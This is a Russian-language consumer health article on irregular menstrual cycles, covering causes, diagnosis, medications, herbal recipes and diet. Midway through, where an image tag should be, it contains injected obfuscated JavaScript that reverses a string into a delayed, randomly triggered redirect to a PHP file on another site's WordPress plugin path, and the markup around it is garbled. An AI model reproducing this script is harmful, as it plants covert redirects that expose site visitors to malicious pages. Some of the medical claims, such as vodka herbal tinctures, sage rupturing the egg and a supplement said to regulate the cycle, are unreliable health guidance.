Нерегулярный месячный цикл не является отдельной патологией. Это всего лишь временное явление, сигнализирующее о более серьёзной аномалии. Следовательно, главная задача женщины и врача-гинеколога — точно определить причины такого состояния.
Содержание
Понятие нерегулярного цикла месячных — долгосрочные и краткосрочные нарушения в зависимости от возраста женщины
Первые месячные (менархе) наступают в возрасте 12–14 лет и отличаются непостоянным характером. Такие кровотечения могут быть слишком скудными, прерывистыми, нерегулярными. Иногда между циклами наступает короткая пауза. Например, месячные начинаются каждые 60 дней 2–3 раза подряд. Если нет никаких других сопутствующих жалоб, явление связывают с гормональной перестройкой организма в подростковом возрасте. Ничего удивительного нет, ведь менархе — это рубеж между детством и юностью.
У женщин, которые подходят к периоду наступления менопаузы, интервалы между менструальными циклами значительно возрастают (в среднем 2–3 месяца). Затем менструация наступает снова без применения каких-либо препаратов для стимуляции. Чтобы не усугубить ситуацию, не стоит самостоятельно принимать различные травяные отвары (гвоздики, багульника болотного и т. д.), имеющие способность вызывать «месячные по заказу». Это опасный эксперимент, нередко приводящий к сильному гормональному сбою.
Как видно, наступление месячных напрямую зависит от возраста женщины. В некоторых случаях нерегулярный цикл не влечёт за собой серьёзных последствий, но бывают и противоположные ситуации. Именно поэтому так важно знать причины нарушения и эффективные методы избавления от проблемы.
Нарушение менструального цикла — видео
Как рассчитать дату следующих месячных
Нормальный менструальный цикл длится, как правило, в пределах 28 дней, причём месячные могут наступать раньше или позже на 5–7 дней. Не стоит пугаться — это допустимое отклонение. Если же в перерыве между менструациями проходит от 40 дней до 2 месяцев, то это уже не является нормой.
Чтобы лишний раз не волноваться, каждая представительница прекрасного пола должна уметь самостоятельно высчитывать дату наступления следующих месячных. Существует 2 способа:
- Первый — самый простой. Необходимо всего лишь отсчитать 25 дней (в некоторых случаях 28) от первого дня цикла. Лучше завести специальный календарь, в котором должен отмечаться первый и последний день цикла, а также интенсивность выделений. Если у женщины возникнут проблемы, она всегда может показать врачу свой календарь. Но эффективность этого способа не очень высока — он помогает только приблизительно определить день наступления следующих месячных.
- Второй метод более современный и результативный. Для этого каждая женщина может воспользоваться онлайн-календарём. В специальное поле вводятся все основные сведения: день, когда началась менструация, продолжительность цикла, а также количество расчётных циклов. Процедура занимает не более 5 минут. Калькулятор помогает установить не только дату следующих месячных, но также период овуляции, срок наступления беременности и предположительную дату родов.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/05/fazy-menstrualnogo-cikla.jpg» alt=»Фазы менструального цикла» width=»581″ height=»290″ /> Сбои в фазах цикла могут осложнять оплодотворение яйцеклетки
Когда женщина знает всю необходимую информацию, она может правильно оценить ситуацию и решить, стоит ли обращаться к врачу.
Причины и факторы, влияющие на менструальный цикл
Различают две основные причины возникновения подобных нарушений: физиологические и патологические. Существуют также психосоматические факторы, оказывающие влияние на функционирование женской репродуктивной системы, но гинекологи берут их в расчёт не всегда.
Для определения того, что именно повлекло за собой сбой менструального цикла, необходимо рассмотреть каждую причину.
Физиологические причины:
- Частые аборты (медикаментозные или хирургические).
- Женская стерилизация.
- Родовая деятельность. Причём стоит отметить, даже если до наступления беременности месячные были нерегулярными, после рождения ребёнка довольно часто женщина замечает, что цикл становится стабильным, а кровотечения менее болезненными.
- Нерегулярная половая жизнь.
- Гормональный сбой.
Подобные случаи встречаются неоднократно, но самостоятельно вернуть менструальный цикл в норму без риска для здоровья нельзя. Только следуя рекомендациям врача, можно добиться максимального эффекта от лечения.
Патологические причины:
- Опухоли в яичниках (доброкачественные или злокачественные).
- Повреждение гипофиза.
- Нарушения в работе гипоталамо-гипофизарной системы, провоцирующие дефицит гормонов в организме женщины.
- Поликистоз яичников.
- Дисфункция яичников.
- Полипы эндометрия, наличие воспалительных процессов в мио- и эндометрии.
- Миомы матки различного размера и локализации.
- Эндометриоз. Опасное заболевание, способное приводить к бесплодию. Каждой женщине необходимо вовремя обратить внимание на коричневые выделения из влагалища, которые непохожи на начало менструации, а обладают более густой (мажущей) консистенцией.
- Опухоли гипофиза.
- Длительный и бесконтрольный приём таблетированных контрацептивов (ятрогенный фактор).
Психосоматические причины нарушения менструального цикла:
- частые и сильные стрессы;
- эмоциональные потрясения;
- моральная неустойчивость;
- глубокие и затяжные депрессии.
Кроме того, существуют факторы, которые не относятся ни к физиологическим, ни к патологическим:
- Вредные привычки.
- Неправильное питание.
- Резкий скачок в весе (в сторону увеличения или уменьшения).
- Ожирение.
- Сильные физические нагрузки.
- Переутомление.
- Нехватка витамина E в организме, которая может привести не только к нарушению менструального цикла, но и к появлению сильных болей в период менструаций.
- Смена климатических поясов.
Диагностика: УЗИ, анализ на гормоны, фолликулометрия
Чтобы узнать о состоянии организма, женщина должна обратиться за консультацией к гинекологу или гинекологу-эндокринологу. Для постановки правильного диагноза врач проведёт необходимые диагностические тесты. Этот процесс включает в себя несколько шагов:
- Сбор анамнеза (сведений), основанный на опросе пациентки о характере жалоб.
- Анализ крови на гормоны. Если результаты исследования покажут, что у женщины понижен уровень гормонов, причина нарушения менструального цикла будет установлена.
- УЗИ органов малого таза. Помогает обнаружить новообразования в матке или яичниках.
- МРТ. Применяется только в крайних случаях. Если с помощью УЗИ врачу не удалось выяснить точную причину расстройства менструального цикла, только тогда он может прибегнуть к такой диагностике.
- Гистероскопия. Суть процедуры заключается в том, что во влагалище вводится специальное оптическое устройство (5 мм в диаметре). С его помощью проводится тщательный осмотр полости матки. На основании полученных результатов гинеколог устанавливает, имеет ли место внутриматочная патология, или сбой менструального цикла произошёл по другой причине.
- Бактериоскопический анализ мазка на наличие возбудителей венерических заболеваний.
- Цитологический анализ на присутствие раковых клеток в шейке матки.
- Фолликулометрия. Диагностическая процедура, с помощью которой врач оценивает процесс овуляции и определяет день её наступления. Проводиться двумя способами: трансабдоминально (через переднюю брюшную стенку) и вагинально. Фолликулометрия абсолютно безболезненна, способствует тщательному исследованию органов малого таза и работы репродуктивной системы в целом
Перед тем как отправляться к доктору, женщине необходимо подумать ещё об одном факторе, имеющем непосредственное влияние на наступление менструации — о возможной беременности. Иногда случается, что «интересное положение» сопровождается месячными. Такая беременность называется «цветной». Если положение подтвердится, тогда посещения врача всё равно не избежать, но хлопоты будут более приятными.
Какие средства помогут восстановить цикл
Для избавления от проблемы применяются два метода лечения:
- медикаментозное;
- терапия при помощи лекарственных растений.
Каждый из них по-своему эффективен, поэтому способы необходимо рассмотреть детально.
Приём медикаментозных средств: Джес, Утрожестан, Дюфастон, Тайм Фактор, фолиевая кислота
Медикаментозная терапия предполагает применение следующих лекарственных препаратов:
- Оральных контрацептивов (например, Ярина, Джес). С помощью них можно снизить интенсивность менструации и предотвратить развитие анемии с ярко выраженным дефицитом железа в крови. Противозачаточные таблетки нужно пить строго по схеме, рекомендованной гинекологом.
- Синтетических аналогов женских половых гормонов (на основе прогестерона). Поскольку сбой в менструальном цикле во многих случаях связан с дефицитом прогестерона, врач может назначить Утрожестан и Дюфастон. Женщине не рекомендуется самостоятельно прописывать себе половые гормоны.
- Антибактериальных препаратов. Назначаются, если нестабильный менструальный цикл стал результатом воспалительного процесса в матке или других органах, отвечающих за нормальное функционирование репродуктивной системы. Чаще всего это таблетированные лекарственные средства. Самым распространённым из них является Офлоксацин.
- Витаминно-минеральных комплексов. В обязательном порядке должны содержать токоферол (витамин E), пиридоксин (витамин В6), фолиевую кислоту (витамин В9), магний и цинк. Кроме того, они также подходят при болезненных менструациях.
- Тайм Фактор (БАД). Применяется не только для восстановления менструального цикла, но и для ускорения процесса оплодотворения яйцеклетки. За счёт натуральных компонентов, входящих в состав, биологически активная добавка способствует нормализации гормонального фона женщины, улучшает обмен веществ в организме и насыщает его необходимыми витаминами и микроэлементами.
Лечение препаратами — фотогалерея
-
- С помощью УЗИ врач ведёт наблюдение за женскими репродуктивными органами в течение определённых дней менструального цикла
-
- Причинами нарушений цикла чаще всего являются гормональный сбой или «поломка» эндокринной системы
-
- Сбои в фазах цикла могут осложнять оплодотворение яйцеклетки
-
- Слишком короткий или, наоборот, длинный цикл, а тем более нерегулярность цикла должны вызывать беспокойство
-
- Менструальным циклом называют промежуток от первого дня одних месячных до начала следующих
-
- Регуляция репродуктивной системы — необычайно сложный процесс
-
- Отвар шалфея содержит большое количество фитогормонов и витаминов
-
- Красная щётка обладает кровоостанавливающими свойствами, поэтому часто используется при обильных менструациях
-
- р
-
- Боровая матка обладает противовоспалительным эффектом
-
- Тайм Фактор мягко корректирует цикл и устраняет симптомы ПМС
-
- Фолиевая кислота — настоящий женский витамин, восстанавливающий не только цикл, но и позитивно влияющий на беременность
-
- Дюфастон не влияет на овуляцию
-
- Утрожестан используется для корректирующего лечения при нарушении менструального цикла
-
- Джес нормализует менструальный цикл и снижает кровопотерю при менструации
Народные средства для нормализации менструального цикла
Не меньшим положительным эффектом обладают и лекарственные травы. Как и с медикаментозными препаратами, с ними также нужно быть крайне осторожной, поскольку некоторые растения способны вызывать побочные эффекты — от лёгкого недомогания до нарушения координации и сознания.
- Боровая матка используется для восстановления гормонального фона женщины. Для этого:
- 1,5 столовой ложки высушенной, а затем мелко нарезанной травы залить 400 мл водки;
- плотно закрыть посуду и настаивать 2 недели в тёмном месте, периодически помешивая смесь;
- принимать на протяжении всего менструального цикла (кроме периода кровотечений) по 20 капель 3 раза в день.
- Отвар шалфея приводит в норму менструальный цикл. Приготовить средство очень просто:
- 1 столовую ложку сухого сырья залить 250 мл горячей воды и поставить на огонь;
- довести до кипения, затем отвар снять с плиты и дать ему остыть;
- траву отжать и развести кипячёной водой до первоначального объёма;
- принимать по 0,5 стакана дважды в день. Рецепт имеет свои нюансы: употреблять средство необходимо только тем женщинам, у которых наблюдается дефицит прогестерона или эстрогена. В этом случае целесообразным будет также приём Дюфастона или Утрожестана. Если же использовать шалфей при нормальном количестве гормонов в организме женщины, можно спровоцировать преждевременный разрыв яйцеклетки.
- Полезным будет и применение красной щётки (родиолы четырёхчленной). Для приготовления отвара нужно:
- 50 гр сырья залить 300 мл воды;
- прокипятить на слабом огне в течение 5 минут, затем процедить и отжать;
- дать отвару остыть и принимать по 1/3 стакана 3 раза в день на протяжении 1–1,5 месяца. По вкусу можно добавлять не более 1 ч. л. натурального мёда. Принимать за полчаса до еды. Средство помогает избавиться от болей во время месячных, регулирует цикл и снижает дискомфортные ощущения при предменструальном синдроме (ПМС).
Боровая матка, шалфей, красная щётка для восстановления цикла — фотогалерея
-
- С помощью УЗИ врач ведёт наблюдение за женскими репродуктивными органами в течение определённых дней менструального цикла
-
- Причинами нарушений цикла чаще всего являются гормональный сбой или «поломка» эндокринной системы
-
- Сбои в фазах цикла могут осложнять оплодотворение яйцеклетки
-
- Слишком короткий или, наоборот, длинный цикл, а тем более нерегулярность цикла должны вызывать беспокойство
-
- Менструальным циклом называют промежуток от первого дня одних месячных до начала следующих
-
- Регуляция репродуктивной системы — необычайно сложный процесс
-
- Отвар шалфея содержит большое количество фитогормонов и витаминов
-
- Красная щётка обладает кровоостанавливающими свойствами, поэтому часто используется при обильных менструациях
-
- р
-
- Боровая матка обладает противовоспалительным эффектом
-
- Тайм Фактор мягко корректирует цикл и устраняет симптомы ПМС
-
- Фолиевая кислота — настоящий женский витамин, восстанавливающий не только цикл, но и позитивно влияющий на беременность
-
- Дюфастон не влияет на овуляцию
-
- Утрожестан используется для корректирующего лечения при нарушении менструального цикла
-
- Джес нормализует менструальный цикл и снижает кровопотерю при менструации
Роль диеты в лечении нарушений
Диета для нормализации менструального цикла включает в себя употребление следующих продуктов:
- жёлтых, красных и зелёных фруктов, способствующих восстановлению гормонального фона;
- бананов, семечек подсолнуха, груш, огурцов, цитрусовых;
- зелёных овощей, растительного масла, проростков пшеницы, которые богаты витамином E;
- соевых продуктов (в том числе и молока);
- гречневой крупы;
- говяжьей печени.
Чтобы диета дала ожидаемые результаты, рекомендуется снизить или вовсе исключить соль из рациона. Она задерживает жидкость в тканях, что неблагоприятно сказывается на состоянии организма женщины в период месячных.
Помимо диеты, нужно помнить о здоровом образе жизни. Аэробика, гимнастика, пилатес, фитнес помогут быстро прийти в форму, избавиться от раздражения в период месячных и ПМС, снизить боли при менструациях.
Прогноз лечения и возможные неблагоприятные последствия
Как правило, прогноз лечения благоприятный, если нарушение цикла не связано с наличием опухоли в матке или яичниках.
К сожалению, женщинам, своевременно не обративших внимания на сбой менструального цикла, через некоторое время может быть поставлен диагноз бесплодие. Кроме того, существует ещё несколько осложнений, которые пагубно отражаются на здоровье женщины.
- увеличение интенсивности кровянистых выделений вызывает синдром повышенной утомляемости и слабости;
- развитие опасных патологий, которые могут приводить даже к летальному исходу. Такое положение грозит в том случае, если не была установлена и устранена точная причина сбоя менструального цикла;
- дисфункция эндокринной системы. Подобная проблема вызывает комплексные нарушения в работе всего женского организма.
Избежать последствий поможет своевременное обращение к врачу, правильная диагностика и проведение полноценного курса терапии.
Методы профилактики
Профилактика расстройств менструального цикла не подразумевает проведения каких-либо дополнительных мероприятий. Женщинам нужно:
- придерживаться правильного режима дня;
- не злоупотреблять жирными, острыми, солёными блюдами и продуктами;
- отказаться от вредных привычек;
- своевременно проходить медицинский осмотр на наличие нарушений со стороны эндокринной системы, половых органов и молочных желёз.
Употребление продуктов, содержащих витамин E — ещё одно немаловажное условие, обеспечивающее женщине правильную работу репродуктивной системы.
Как видно, нарушение менструального цикла — проблема, требующая срочного вмешательства. Она не пройдёт самостоятельно и может повлечь за собой серьёзные последствия. Поэтому, как только были замечены неблагоприятные признаки, не стоит откладывать визит к доктору. Пусть лучше тревога будет ложной, чем худшие опасения станут реальностью.
